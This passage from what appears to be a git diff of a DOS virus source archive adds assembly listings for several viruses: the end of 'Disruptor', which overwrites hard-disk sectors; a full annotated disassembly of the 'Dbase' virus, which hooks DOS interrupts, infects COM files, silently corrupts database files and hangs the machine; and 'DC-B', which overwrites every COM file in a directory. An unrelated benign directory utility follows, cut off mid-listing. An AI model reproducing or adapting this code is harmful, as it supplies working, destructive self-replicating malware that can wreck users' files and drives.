Disruptor ',0dh,0ah +copyright db '(c) 1991 RABID International',0dh,0ah + db '----------------------------',0dh,0ah + +sector db 1 +data_3 db 0 + +begin: + mov ah,0Bh ; write sectors + mov al,45h ; sectors to write to + mov bx,offset messege ; writes this messege + mov ch,0 ; clear out these + mov cl,0 + mov dh,0 + mov dl,80h ; drive + int 13h + + jnc write_loop ; nomatter what jump to + jc write_loop ; the write loop and + jmp short write_loop ; destroy rest of drive + nop +compare: + mov sector,1 ; start writing at sec1 + inc data_3 + jmp short loc_4 + db 90h +write_loop: + cmp data_3,28h + jae quit + cmp sector,9 + ja compare +loc_4: + mov ah,3 ; write sec's from mem + mov al,9 ; # + mov bx,offset messege ; this is in mem + mov ch,data_3 ; cylinder + mov cl,sector ; sector + mov dh,0 ; drive head + mov dl,2 ; drive + int 13h + + inc sector ; move up a sector + jmp short write_loop + db 73h, 02h, 72h, 00h +quit: + mov ax,4C00h + int 21h ; now quit + +datarap2 endp + +seg_a ends + + end start + + diff --git a/d/DBASE.ASM b/d/DBASE.ASM new file mode 100755 index 0000000..7f287ec --- /dev/null +++ b/d/DBASE.ASM @@ -0,0 +1,1028 @@ + page 65,132 + title The 'Dbase' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Dbase' Virus +; Disassembled by Joe Hirst, October 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +MCB SEGMENT AT 0 + +IDENT DB ? +OWNER DW ? +MEMSIZE DW ? + +MCB ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:NOTHING + + ; Interrupt 21H routine + +BP0000: PUSHF + CMP AX,0FB0AH ; Infection test function? + JNE BP0010 ; Branch if not + XCHG AH,AL ; Swap bytes + POPF + IRET + + ; Branch to open file function + +BP000A: JMP BP06DB + + ; Branch to new file functions + +BP000D: JMP BP0391 + +BP0010: CMP DI,0FB0AH ; Allow free passage? + JE BP0044 ; Branch if yes + CMP AX,4B00H ; Load and execute function? + JNE BP001E ; Branch if not + JMP BP0490 + +BP001E: CMP AH,6CH ; Extended open/create function? + JE BP000D ; Branch if yes + CMP AH,5BH ; Create new file function? + JE BP000D ; Branch if yes + CMP AH,3CH ; Create handle function? + JE BP000D ; Branch if yes + CMP AH,3DH ; Open handle function? + JE BP000A ; Branch if yes + CMP AH,3FH ; Read handle function? + JE BP004A ; Branch if yes + CMP AH,40H ; Write handle function? + JE BP004D ; Branch if yes + CMP AH,3EH ; Close handle function? + JNE BP0044 ; Branch if not + JMP BP0340 + + ; Pass on to Int 21H + +BP0044: POPF + DB 0EAH ; Far jump +DW0046 DW 0 ; Int 21H offset +DW0048 DW 0 ; Int 21H segment + + ; Branch to read file function + +BP004A: JMP BP00C8 + + ; Branch to write file function + +BP004D: JMP BP015F + + JMP BP04A7 + +DB0053 DB 'c:\bugs.dat', 0 ; File pathname + DB 4EH DUP (0), 0FFH ; Read buffer +DW00AE DW 0 +DB00B0 DB 14H DUP (0) ; Table of file handles +DW00C4 DW 0, 0 + + ; Read file function + +BP00C8: PUSH DI + CALL BP00CC ; \ Get current address +BP00CC: POP DI ; / + SUB DI,1CH ; Address table of file handles +BP00D0: CMP BYTE PTR CS:[DI],0 ; End of table? + JE BP00DE ; Branch if yes + CMP CS:[DI],BL ; Is this the file handle + JE BP00E2 ; Branch if yes + INC DI ; Next entry + JMP BP00D0 + +BP00DE: POP DI + JMP BP0044 ; Pass on to Int 21H + +BP00E2: POP DI + POPF + PUSH CX + PUSH AX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JZ BP012A ; Branch if not + MOV AX,4201H ; Move file pointer (current) function + MOV CX,-1 ; \ Back one byte + MOV DX,CX ; / + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Length to read + POP DX + CALL BP05C3 ; DOS service + POP AX + POP CX + PUSH SI + PUSH BP + MOV SI,DX + MOV BP,[SI] + CALL BP05C3 ; DOS service + PUSHF + PUSH AX + MOV AX,BP + MOV [SI],AL + POP AX + POP BP + POP SI + PUSH CX + PUSH DX + MOV CX,AX + DEC CX + INC DX + CALL BP022D ; Reverse bytes in each word + POP DX + POP CX + JMP BP0138 + +BP012A: POP DX + POP AX + POP CX + CALL BP05C3 ; DOS service + PUSHF + PUSH CX + MOV CX,AX + CALL BP022D ; Reverse bytes in each word + POP CX +BP0138: PUSH CX + PUSH AX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JZ BP0158 ; Branch if not + POP DX + POP AX + PUSH AX + PUSH DX + ADD DX,AX + DEC DX + MOV CX,1 ; Length to read + MOV AH,3FH ; Read handle function + CALL BP05C3 ; DOS service +BP0158: POP DX + POP AX + POP CX + POPF + RETF 2 + + ; Write file function + +BP015F: PUSH DI + CALL BP0163 ; \ Get current address +BP0163: POP DI ; / + SUB DI,OFFSET BP0163-DB00B0 ; Address table of file handles +BP0168: CMP BYTE PTR CS:[DI],0 ; End of table? + JE BP0176 ; Branch if yes + CMP CS:[DI],BL ; Is this the file handle + JE BP017A ; Branch if yes + INC DI ; Next entry + JMP BP0168 + +BP0176: POP DI + JMP BP0044 ; Pass on to Int 21H + +BP017A: CALL BP017D ; \ Get current address +BP017D: POP DI ; / + SUB DI,OFFSET BP017D-DW00C4 + MOV WORD PTR CS:[DI],0 + MOV WORD PTR CS:[DI+2],0 + PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JNZ BP01C0 ; Branch if yes + POP DX + POP CX + TEST AX,1 ; Is location odd number byte? + JNZ BP01B2 ; Branch if yes (???) + MOV AX,0 + CALL BP0200 + JMP BP01E9 + +BP01B2: MOV AX,1 + CALL BP0200 + JB BP01E9 + CALL BP02B9 + JMP BP01E9 + +BP01C0: POP DX + POP CX + TEST CX,1 + JZ BP01D6 + CALL BP0262 + JB BP01E9 + MOV AX,0100H + CALL BP0200 + JMP BP01E9 + +BP01D6: CALL BP0262 + JB BP01E9 + MOV AX,0101H + CALL BP0200 + JB BP01E9 + CALL BP02B9 + JMP BP01E9 + +BP01E9: POP BX + POP AX + POP DI + CALL BP01EF ; \ Get current address +BP01EF: POP SI ; / + SUB SI,OFFSET BP01EF-DW00C4 + PUSH CS:[SI+2] + POPF + MOV AX,CS:[SI] + POP SI + RETF 2 + +BP0200: CMP CX,1 + JNE BP0209 + CALL BP0242 + RET + +BP0209: CALL BP0215 + CALL BP0242 + PUSHF + CALL BP0215 + POPF + RET + +BP0215: PUSH CX + PUSH DX + CALL BP0220 + CALL BP022D ; Reverse bytes in each word + POP DX + POP CX + RET + +BP0220: CMP AH,1 + JNE BP0227 + INC DX + DEC CX +BP0227: CMP AL,1 + JNE BP022C + DEC CX +BP022C: RET + + ; Reverse bytes in each word + +BP022D: PUSH SI + PUSH CX + PUSH AX + MOV SI,DX + SHR CX,1 ; Divide count by two +BP0234: MOV AX,[SI] ; Get next word + XCHG AH,AL ; Reverse bytes in word + MOV [SI],AX ; Replace word + INC SI ; \ Next word + INC SI ; / + LOOP BP0234 ; Repeat for count + POP AX + POP CX + POP SI + RET + +BP0242: PUSH AX + PUSH CX + PUSH DX + PUSH DI + CALL BP0220 + MOV AH,40H ; Write handle function + INT 21H ; DOS service + PUSHF + CALL BP0251 ; \ Get current address +BP0251: POP DI ; / + SUB DI,OFFSET BP0251-DW00C4 + POP CS:[DI+2] + ADD CS:[DI],AX + POP DI + POP DX + POP CX + POP AX + RET + +BP0262: PUSH AX + PUSH CX + PUSH DX + PUSH SI + PUSH BP + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Length to read + MOV SI,DX + MOV BP,[SI] + INT 21H ; DOS service + JB BP02A3 ; Branch if error + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JB BP02A3 ; Branch if error + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JB BP02A3 ; Branch if error + XCHG BP,[SI] + MOV AX,1 +BP02A3: PUSHF + CALL BP02A7 ; \ Get current address +BP02A7: POP SI ; / + SUB SI,OFFSET BP02A7-DW00C4 + POP CS:[SI+2] + MOV CS:[SI],AX + POP BP + POP SI + POP DX + POP CX + POP AX + RET + +BP02B9: PUSH AX + PUSH CX + PUSH DX + PUSH SI + PUSH BP + MOV SI,DX + ADD SI,CX + DEC SI + MOV DX,1 ; \ Forward one byte + XOR CX,CX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Read one byte + MOV BP,[SI] + INT 21H ; DOS service + JB BP02E0 ; Branch if error + CMP AX,1 ; One byte read? + JNE BP02E0 ; Branch if not + JMP BP02F6 + +BP02E0: MOV CX,-1 ; \ Back one byte + MOV DX,CX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV DX,SI + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JMP BP032A + +BP02F6: MOV DX,-2 ; \ Back two byte + MOV CX,-1 ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,SI + INT 21H ; DOS service + JB BP032A ; Branch if error + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,SI + INT 21H ; DOS service + JB BP032A ; Branch if error + XCHG BP,[SI] + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AX,1 +BP032A: PUSHF + CALL BP032E ; \ Get current address +BP032E: POP SI ; / + SUB SI,OFFSET BP032E-DW00C4 + POP CS:[SI+2] + ADD CS:[SI],AX + POP BP + POP SI + POP DX + POP CX + POP AX + RET + +BP0340: PUSH BP + PUSH CX + CALL BP0345 ; \ Get current address +BP0345: POP BP ; / + SUB BP,OFFSET BP0345-DW00AE + MOV CX,CS:[BP+0] + CMP CX,0 + JE BP037C + ADD BP,2 +BP0356: CMP CS:[BP+0],BL + JE BP0362 + INC BP + LOOP BP0356 + JMP BP037C + +BP0362: MOV CL,CS:[BP+1] + MOV CS:[BP+0],CL + INC BP + CMP CL,0 + JNE BP0362 + CALL BP0373 ; \ Get current address +BP0373: POP BP ; / + SUB BP,OFFSET BP0373-DW00AE + DEC WORD PTR CS:[BP+0] +BP037C: POP CX + POP BP + JMP BP0044 ; Pass on to Int 21H + +BP0381: JMP BP04A7 + + JMP BP0044 ; Pass on to Int 21H + +DW0387 DW 0 ; File date +DW0389 DW 0 ; File time +DW038B DW 0 ; File attributes +DW038D DW 0 ; Pathname segment +DW038F DW 0 ; Pathname offset + + ; New file functions + +BP0391: PUSH SI + PUSH BP + CMP AH,6CH ; Extended open/create function? + JE BP039A ; Branch if yes + MOV SI,DX ; Copy filepath pointer +BP039A: MOV BP,SI ; Copy filepath pointer + CALL BP0453 ; Convert pathname to uppercase + CALL BP0468 ; Test for Dbase file + JNE BP0381 ; Branch if not + PUSH DX + MOV DX,SI ; Copy pathname (for function 6CH) + CALL BP0665 ; Search BUG.DAT file for pathname + POP DX + JB BP0415 ; Branch if found + PUSH ES + PUSH DS + PUSH DX + PUSH SI + PUSH DI + PUSH CX + PUSH BX + PUSH AX + CALL BP03B8 ; \ Get current address +BP03B8: POP DX ; / + SUB DX,OFFSET BP03B8-DB0053 ; Address 'BUGS.DAT' pathname + PUSH BP + MOV BP,DS ; \ Set ES to DS + MOV ES,BP ; / + POP BP + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,3D02H ; Open handle (R/W) function + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + JNB BP03D8 ; Branch if no error + MOV AH,3CH ; Create handle function + MOV CX,2 ; Hidden file + INT 21H ; DOS service + JB BP0448 ; Branch if error +BP03D8: MOV BX,AX ; Move handle + CALL BP06F7 ; Is file out of time? + XOR DX,DX ; \ No offset + XOR CX,CX ; / + MOV AX,4202H ; Move file pointer (EOF) function + INT 21H ; DOS service + MOV DX,BP + MOV DI,DX + MOV BP,ES ; \ Set DS to ES + MOV DS,BP ; / + MOV CX,004EH ; Length to write + MOV AH,40H ; Write handle function + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + CALL BP03FB ; \ Get current address +BP03FB: POP SI ; / + SUB SI,74H ; Address file date + MOV DX,CS:[SI] ; Get file date + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + JB BP0448 ; Branch if error + POP AX + POP BX + POP CX + POP DI + POP SI + POP DX + POP DS + POP ES +BP0415: POP BP + POP SI + POPF + CALL BP05C3 ; DOS service + JB BP0420 ; Branch if error + CALL BP0423 +BP0420: RETF 2 + +BP0423: PUSHF + PUSH SI + CALL BP0428 ; \ Get current address +BP0428: POP SI ; / + SUB SI,OFFSET BP0428-DW00AE + CMP WORD PTR CS:[SI],14H + JE BP0447 + INC WORD PTR CS:[SI] + PUSH BX + MOV BX,SI + ADD BX,CS:[SI] + ADD BX,CS:[SI] + MOV SI,BX + POP BX + MOV CS:[SI],AL + POP SI + POPF +BP0447: RET + +BP0448: POP AX + POP BX + POP CX + POP DI + POP SI + POP DX + POP DS + POP ES + JMP BP04A7 + + ; Convert pathname to uppercase + +BP0453: PUSH SI + MOV SI,DX ; Copy pathname pointer +BP0456: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP0466 ; Branch if yes + CMP BYTE PTR [SI],'a' ; Lowercase character? + JB BP0463 ; Branch if not + SUB BYTE PTR [SI],' ' ; Convert to uppercase +BP0463: INC SI ; Next character + JMP BP0456 ; Process next character + +BP0466: POP SI + RET + + ; Test for Dbase file + +BP0468: CALL BP0453 ; Convert pathname to uppercase + PUSH SI +BP046C: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP0480 ; Branch if yes + CMP BYTE PTR [SI],'.' ; Extension character? + JE BP0479 ; Branch if yes + INC SI ; Next character + JMP BP046C ; Process next character + +BP0479: INC SI ; Next character + CMP WORD PTR [SI],'BD' ; Database file (1)? + JNE BP0484 ; Branch if not +BP0480: CMP BYTE PTR [SI+2],'F' ; Database file (2)? +BP0484: POP SI + RET + +DB0486 DB 0CDH, 20H, 90H, 90H ; Start of host read buffer +DB048A DB 0, 0 ; Signature read buffer +DB048C DB 0E9H, 0, 0 ; Initial jump instruction + DB 0 + + ; Load and execute function + +BP0490: PUSH BP + PUSH SI + MOV SI,DX ; Copy pathname pointer +BP0494: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP04A7 ; Branch if yes + CMP BYTE PTR [SI],'.' ; Extension indicator? + JE BP04AC ; Branch if yes + INC SI ; Next character + JMP BP0494 ; Process next character + +BP04A1: POP DS + POP DX + POP DI + POP CX + POP BX + POP AX +BP04A7: POP BP + POP SI + JMP BP0044 ; Pass on to Int 21H + +BP04AC: INC SI ; Next character + CMP WORD PTR [SI],'OC' ; Is it a COM file? (1) + JNE BP04A7 ; Branch if not + CMP BYTE PTR [SI+2],'M' ; Is it a COM file? (1) + JNE BP04A7 ; Branch if not + PUSH AX + PUSH BX + PUSH CX + PUSH DI + PUSH DX + PUSH DS + PUSH SI + PUSH CX + MOV AX,4300H ; Get file attributes function + INT 21H ; DOS service + CALL BP04C9 ; \ Get current address +BP04C9: POP SI ; / + SUB SI,OFFSET BP04C9-DW038B ; Address file attributes + MOV CS:[SI],CX ; Save file attributes + MOV CS:[SI+2],DS ; Save pathname segment + MOV CS:[SI+4],DX ; Save pathname offset + AND CX,00FEH ; Switch off read only + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + POP CX + POP SI + MOV AX,3D00H ; Open handle (read) function + INT 21H ; DOS service + JB BP04A1 ; Branch if error + MOV BX,AX ; Move handle + MOV AX,5700H ; Get file date & time function + INT 21H ; DOS service + PUSH SI + CALL BP04F6 ; \ Get current address +BP04F6: POP SI ; / + SUB SI,OFFSET BP04F6-DW0387 ; Address file date + MOV CS:[SI],DX ; Save file date + MOV CS:[SI+2],CX ; Save file time + POP SI + MOV AH,3FH ; Read handle function + MOV CX,4 ; Length to read + CALL BP050B ; \ Get current address +BP050B: POP SI ; / + SUB SI,OFFSET BP050B ; Offset of start of virus + MOV DX,SI ; \ Address start of host read buffer + ADD DX,OFFSET DB0486 ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + JB BP058A ; Branch if error + PUSH DX + PUSH SI + MOV SI,DX ; Address start of host read buffer + MOV DX,[SI+1] ; Get branch offset (if its a branch?) + INC DX ; \ Address to signature (DB0630) + XOR CX,CX ; / + MOV AX,4200H ; Move file pointer (start) function + INT 21H ; DOS service + POP SI + POP DX + JB BP058A ; Branch if error + MOV AH,3FH ; Read handle function + MOV CX,2 ; Length to read + ADD DX,4 ; Address to signature read buffer + INT 21H ; DOS service + PUSH SI + MOV SI,DX ; \ Copy signature read buffer address + MOV DI,SI ; / + CMP WORD PTR [SI],0E5E5H ; Test signature + POP SI + JE BP058A ; Branch if infected + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + POP DS + POP DX + PUSH DX + PUSH DS + MOV AX,3D02H ; Open handle (R/W) function + INT 21H ; DOS service + JNB BP0557 ; Branch if no error + JMP BP04A1 + +BP0557: PUSH CS ; \ Set DS to CS + POP DS ; / + MOV BX,AX ; Move handle + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + ADD AX,OFFSET START-3 ; Add entry point offset + NOP + MOV [DI+3],AX ; Store in initial jump instruction + XOR DX,DX ; Address start of virus + MOV AH,40H ; Write handle function + MOV CX,OFFSET ENDADR ; Length of virus + NOP + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + MOV DX,DI ; \ Address initial jump instruction + ADD DX,2 ; / + MOV CX,3 ; Length of jump instruction + MOV AH,40H ; Write handle function + INT 21H ; DOS service +BP058A: PUSH SI + CALL BP058E ; \ Get current address +BP058E: POP SI ; / + SUB SI,OFFSET BP058E-DW0387 ; Address file date + MOV DX,CS:[SI] ; Get file date + MOV CX,CS:[SI+2] ; Get file time + POP SI + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + PUSH SI + PUSH CX + CALL BP05A9 ; \ Get current address +BP05A9: POP SI ; / + SUB SI,OFFSET BP05A9-DW038B ; Address file attributes + MOV CX,CS:[SI] ; Get file attributes + MOV DS,CS:[SI+2] ; Get pathname offset + MOV DX,CS:[SI+4] ; Get pathname segment + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + POP CX + POP SI + JMP BP04A1 + + ; Call DOS service + +BP05C3: PUSHF + DB 9AH ; Far call +DW05C5 DW 0 ; Int 21H offset +DW05C7 DW 0 ; Int 21H segment + RET + + ; Infect system + +BP05CA: PUSH SI + CALL BP05CE ; \ Get current address +BP05CE: POP SI ; / + SUB SI,OFFSET BP05CE ; Relocate from start of virus + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH DS + PUSH ES + MOV AX,3521H ; Get Int 21H function + INT 21H ; DOS service + MOV CS:[SI+46H],BX ; \ Install vector in jump + MOV CS:[SI+48H],ES ; / + MOV CS:DW05C5[SI],BX ; \ Install vector in call + MOV CS:DW05C7[SI],ES ; / + PUSH CS ; \ Get current segment + POP AX ; / + DEC AX ; \ Address MCB + MOV DS,AX ; / + ASSUME DS:MCB + MOV DX,MEMSIZE ; Get memory block length + SUB DX,0074H ; \ Subtract virus length + nop + DEC DX ; / + MOV MEMSIZE,DX ; Replace new length + ASSUME DS:NOTHING + PUSH CS ; \ Get current segment + POP AX ; / + ADD DX,AX ; \ Address free space + MOV DS,DX ; / + MOV DI,0 ; Start of free space + MOV CX,OFFSET ENDADR ; Length of virus + NOP + CLI + PUSH SI +BP0612: MOV AL,CS:[SI] + MOV [DI],AL + INC SI + INC DI + LOOP BP0612 + POP SI + MOV DS,DX + MOV DX,OFFSET BP0000 + MOV AX,2521H ; Set Int 21H function + INT 21H ; DOS service + STI + POP ES + POP DS + POP DI + POP DX + POP CX + POP BX + POP AX + JMP BP0640 + +DB0630 DB 0E5H, 0E5H + + ; Entry point + +START: PUSH AX + MOV AX,0FB0AH ; Infection test function + INT 21H ; DOS service + CMP AX,0AFBH ; Is system infected? + JE BP0640 ; Branch if yes + JMP BP05CA + +BP0640: PUSH SI + CALL BP0644 ; \ Get current address +BP0644: POP SI ; / + SUB SI,OFFSET BP0644-DB0486 ; Address start of host read buffer + PUSH BX + MOV BX,0100H ; Address start of host + MOV AX,CS:[SI] ; \ Restore start of host (1) + MOV CS:[BX],AX ; / + MOV AX,CS:[SI+2] ; \ + ADD BX,2 ; ) Restore start of host (2) + MOV CS:[BX],AX ; / + POP BX + POP SI + POP AX + MOV AX,0100H ; \ Branch to start of host + JMP AX ; / + + ; Search BUG.DAT file for pathname + +BP0665: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + CALL BP0671 ; \ Get current address +BP0671: POP BP ; / + SUB BP,OFFSET BP0671-DB0053 ; Address 'BUGS.DAT' pathname + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV DI,DX ; Copy pathname pointer + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV DX,BP ; Move pathname address + MOV AX,3D00H ; Open handle (read) function + PUSH DI + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + JNB BP0697 ; Branch if no error + MOV AH,3CH ; Create handle function + MOV CX,2 ; Hidden file + INT 21H ; DOS service + JNB BP0697 ; Branch if no error +BP0692: POP DI + CLC + JMP BP06D1 + +BP0697: MOV BX,AX ; Move handle + ADD DX,0CH ; Read buffer +BP069C: MOV CX,004EH ; Length to read + MOV AH,3FH ; Read handle function + INT 21H ; DOS service + JB BP0692 ; Branch if error + CMP AX,0 ; Did we read anything? + JNE BP06B0 ; Branch if yes + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + JMP BP0692 + +BP06B0: POP DI + MOV SI,DX + PUSH DI +BP06B4: MOV AL,ES:[DI] ; Get next character + CMP AL,0 ; End of pathname? + JE BP06C3 ; Branch if yes + CMP AL,[SI] ; Does it match file? + JNE BP069C ; Read next section if not + INC SI ; Next file character + INC DI ; Next pathname character + JMP BP06B4 ; Compare next character + + ; Pathname found on BUG.DAT file + +BP06C3: POP DI + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + STC + JMP BP06D1 + + ; unreferenced code + + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CLC + +BP06D1: POP ES + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RET + + ; Open file function + +BP06DB: POPF + CALL BP05C3 ; DOS service + JB BP06F4 ; Branch if error + PUSHF + PUSH SI + MOV SI,DX + CALL BP0468 ; Test for Dbase file + JNE BP06F2 ; Branch if not + CALL BP0665 ; Search BUG.DAT file for pathname + JNB BP06F2 ; Branch if not found + CALL BP0423 +BP06F2: POP SI + POPF +BP06F4: RETF 2 + + ; Is file out of time? + +BP06F7: PUSH AX + PUSH CX + PUSH DX + PUSH SI + MOV AX,5700H ; Get file date & time function + INT 21H ; DOS service + CALL BP0703 ; \ Get current address +BP0703: POP SI ; / + SUB SI,OFFSET BP0703-DW0387 ; Address file date + MOV CS:[SI],DX ; Save file date + MOV CL,5 ; \ Move month to bottom of reg + SHR DX,CL ; / + AND DX,0FH ; Isolate month + MOV AH,2AH ; Get date function + PUSH DX ; Preserve file month + INT 21H ; DOS service + POP CX ; Recover file month + SUB CL,DH ; Subtract month from file month + CMP CL,0 ; Negative result? + JGE BP0721 ; Branch if not + NEG CL ; Change the sign +BP0721: CMP CL,3 ; Three months difference? + JL BP0729 ; Branch if not + JMP BP072E + +BP0729: POP SI + POP DX + POP CX + POP AX + RET + + ; File three months old (or next year) + +BP072E: CLI + MOV AX,3 ; Start count +BP0732: MOV CX,0100H + MOV DX,0 ; \ Address zero + MOV DS,DX ; / + XOR BX,BX + PUSH AX + INT 3 ; Breakpoint + INT 3 ; Breakpoint + POP AX + INC AX ; Increment count + CMP AL,1AH ; Has it reached 26? + JL BP0732 ; Branch if not +BP0745: CLI ; \ Loop with interrupts disabled + JMP BP0745 ; / + +ENDADR EQU $ + +CODE ENDS + + END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/d/DC-B.ASM b/d/DC-B.ASM new file mode 100755 index 0000000..7a9bbd5 --- /dev/null +++ b/d/DC-B.ASM @@ -0,0 +1,55 @@ + +PAGE 59,132 + +; +; +; DC-B +; +; Created: 26-Dec-91 +; Passes: 5 Analysis Options on: none +; +; + +data_009E_e equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + + +start: + mov ah,4Eh ; 'N' + mov dx,offset data_0124 + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +loc_0107: + mov ax,3D01h + mov dx,data_009E_e + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + xchg ax,bx + mov ah,40h ; '@' + mov cl,2Ah ; '*' + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0107 ; Jump if carry=0 + retn +data_0124 db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h + + +seg_a ends + + + + end start diff --git a/d/DDIR.ASM b/d/DDIR.ASM new file mode 100755 index 0000000..7cd59ee --- /dev/null +++ b/d/DDIR.ASM @@ -0,0 +1,441 @@ +; DDIR.ASM -- Double Column Sorted DIR Command +; ======== +; (C) Copyright Charles Petzold, 1985 +; +; COM file format +; + +CSEG Segment + + Assume CS:CSEG, DS:CSEG + + Org 002Ch ; Offset of Environment +Environment Label Byte + + Org 007Bh ; Parameter for COMMAND.COM +NewParameter Label Byte + + Org 0080h ; Parameter passed to program +OldParameter Label Byte + + Org 0100h ; Entry point +Entry: Jmp Begin + +; All Data +; -------- + + db '(C) Copyright Charles Petzold, 1985' + +DosVersMsg db "Needs DOS 2.0 +$" ; Error messages +MemAllocMsg db "Memory Problem$" +CommandMsg db "COMMAND Problem$" + +Comspec db "COMSPEC=" ; Search string in environment +CommandAsciiz dd ? ; Eventual pointer to COMMAND + +ParamBlock dw ? ; Parameter Block for EXEC + dw NewParameter,? ; First ? must be replaced + dw 5Ch,? ; with Environment segment; + dw 6Ch,? ; others with this segment + +OldInterrupt21 dd ? ; For vector address storage + +BufferPtr dw Offset FileBuffer ; For storing files listing +CharCounter dw 0 ; Keeps track of characters +NowDoingFile db 0 ; Flagged for file printed +WithinFileList db 0 ; Flagged for file list +FileCounter dw 0 ; Keeps track of files +LineCounter db 0 ; For pausing at screen end + +PauseMessage db 6 dup (205)," Press any key to continue " + db 6 dup (205),181 +PauseMsgEnd Label Byte + +; Check DOS Version +; ----------------- + +Begin: Mov AH,30h ; DOS Version function call + Int 21h ; Call DOS + Cmp AL,2 ; Check if version 2 + Jae DosVersOK ; If equal or over, all OK + + Mov DX,Offset DosVersMsg ; Wrong DOS version message +ErrorExit: Mov AH,9 ; Set up for string write + Int 21h ; Call DOS for message + + Int 20h ; Dishonorable discharge + +; Adjust stack and un-allocate rest of memory +; ------------------------------------------- + +DosVersOK: Mov DI,Offset FileBuffer ; Place to save files + Mov CX,528 * 39 ; Allow room for 528 files + Mov AL,' ' ; Will clear with blanks + Cld ; Forward direction + Rep Stosb ; Clear the area + + Mov BX,(Offset FileBuffer) + (528 * 39) + 100h + ; New end of program + Mov SP,BX ; Set the stack pointer + Add BX,15 ; Add 15 for rounding + Mov CL,4 ; Number of shifts + Shr BX,CL ; Convert AX to segment + + Mov AH,4Ah ; DOS call to shrink down + Int 21h ; allocated memory + + Mov DX,Offset MemAllocMsg ; Possible error message + Jc ErrorExit ; Only print it if Carry set + +; Search for Comspec in Environment +; --------------------------------- + + Mov ES,[Environment] ; Environment Segment + Sub DI,DI ; Start search at beginning + Cld ; String increment to forward + +TryThis: Cmp Byte Ptr ES:[DI],0 ; See if end of environment + Jz NoFindComSpec ; If so, we have failed + + Push DI ; Save environment pointer + Mov SI,Offset ComSpec ; String to search for + Mov CX,8 ; Characters in search string + Repz Cmpsb ; Check if strings are same + Pop DI ; Get back the pointer + + Jz FoundComspec ; Found string only zero flag + + Sub AL,AL ; Zero out AL + Mov CX,8000h ; Set for big search + Repnz Scasb ; Find the next zero in string + Jmp TryThis ; And do the search from there + 